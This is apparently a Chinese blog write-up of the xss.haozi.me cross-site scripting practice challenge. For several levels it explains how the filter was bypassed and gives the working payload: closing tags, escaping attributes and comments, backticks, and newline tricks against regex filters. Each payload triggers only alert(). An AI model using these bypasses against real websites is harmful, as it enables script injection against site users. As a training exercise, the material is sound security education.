xss练习闯关
https://xss.haozi.me/
0x00
无任何限制
payload如下:
<script>alert("liuxixi")</script>
0x01
先输入xxx发现就存在于<textarea></textarea>之前显示,那么我们需要把前后进行闭合,最后才会显示我们输入的内容。
payload如下:
</textarea><script>alert("liuxixi1")</script><textarea>
0x02
先输入xxx发现输的内容在双引号内,发现前面有三个双引号,那么肯定是没有闭合。
构造payload。闭合前面的双引号,这里需要注意的是input前面的 < 也要闭合。
payload如下:
"><script>alert("liuxixi2")</script><"
0x03
查看后端代码,发现过滤了(),那么我们同样可以用反引号来代替()就行了
payload如下:
<script>alert`liuxixi3`</script>
0x05
同样的方法,输入xxx发现输入内容存在于<!-- -->之间,那么我们还是将前后进行闭合,最终显示我们输入的内容。
payload如下:
--!><script>alert("liuxixi5")</script><--
0x06
我们输入前面任意一个payload,发现 > 会变成 _ 符号。
查看后端代码发现,过滤了以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查。
我这里用的onmousemove,意思是当鼠标移动时进行触发弹窗显示。
payload如下:
onmousemove =alert("liuxixi6")
0x08
首先我们一看页面就是肯定要闭合掉<style>标签。那么我们试一下
从上图看到我们闭合的</style>标签被注释掉了,说明被过滤掉了。
那么我们只能通过换行绕过正则。
payload如下:
</style ><script>alert("liuxixi8")</script>
相关推荐
zhuangnet 2020-04-07
sswqycbailong 2020-07-28
csxiaoqiang 2020-07-26
码农成长记 2020-07-19
layloge 2020-07-05
layloge 2020-06-26
liangjielaoshi 2020-06-25
csxiaoqiang 2020-06-16
某先生 2020-06-13
ItBJLan 2020-06-11
layloge 2020-06-07
csxiaoqiang 2020-06-03
sswqycbailong 2020-06-01
layloge 2020-05-30
码农成长记 2020-05-28
qidu 2020-05-26
zhuangnet 2020-05-20
zhuangnet 2020-05-19
xiaoemo0 2020-05-16